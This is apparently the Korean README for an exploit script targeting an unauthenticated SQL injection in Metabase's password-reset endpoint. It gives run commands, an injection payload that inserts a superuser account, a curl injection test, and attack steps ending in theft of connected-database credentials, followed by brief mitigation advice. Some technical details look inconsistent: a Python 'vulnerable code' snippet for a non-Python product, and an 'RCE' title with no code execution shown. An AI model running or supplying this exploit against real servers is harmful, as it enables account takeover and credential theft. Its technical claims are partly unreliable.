Metabase SQL 인젝션 RCE

Metabase /api/session/reset_password 엔드포인트의 인증되지 않은 SQL 인젝션입니다. 관리자 계정을 생성하고 데이터베이스 자격 증명을 추출합니다.

영향받는 버전: v58.0 - v63.3 | 패치됨: v58.24+, v59.21+, v60.17+, v61.11+, v62.9+, v63.5+

---

빠른 시작

pip install flask requests
python3 CVE-2026-72898.py http://localhost:5000 --check

취약점

SQL 쿼리의 문자열 연결:

# 취약한 코드
query = f"SELECT * FROM core_user WHERE email='{email}'"

공격 페이로드:

'; INSERT INTO core_user (email, password, is_superuser) VALUES ('admin@hack', 'hash', 1); --

사용법

검사만 (수정 없음):

python3 CVE-2026-72898.py http://localhost:5000 --check

전체 익스플로잇:

python3 CVE-2026-72898.py http://localhost:5000 -e [email protected] -p Password123!

수동 테스트:

# 엔드포인트 확인
curl http://localhost:5000/api/health

# SQLi 테스트
curl -X POST http://localhost:5000/api/session/reset_password \
  -H "Content-Type: application/json" \
  -d '{"email": "'"'"' OR '"'"'1'"'"'='"'"'1"}'

수행 작업

1. Metabase 인스턴스 탐지 (불리언 기반 SQLi)
2. SQL 인젝션을 통한 관리자 사용자 생성
3. 새 관리자로 인증
4. 연결된 데이터베이스 자격 증명 추출
5. 전체 시스템 침해 검증

영향

• 인증되지 않은 관리자 접근
• 데이터베이스 자격 증명 추출
• 연결된 데이터베이스 침해
• 전체 애플리케이션 제어

완화 방안

즉시:

• 패치된 버전으로 업그레이드
• WAF를 통한 /api/session/reset_password 차단
• 관리자 계정의 무단 추가 여부 감사
• 모든 데이터베이스 자격 증명 교체

추후:

• 매개변수화된 쿼리 사용
• 입력 검증 추가
• 모든 민감한 엔드포인트에 인증 구현
• SQL 쿼리 로깅 활성화

링크

• GitHub Advisory
• NVD CVE Entry

---

허가된 사용만 가능합니다. 무단 접근은 불법입니다.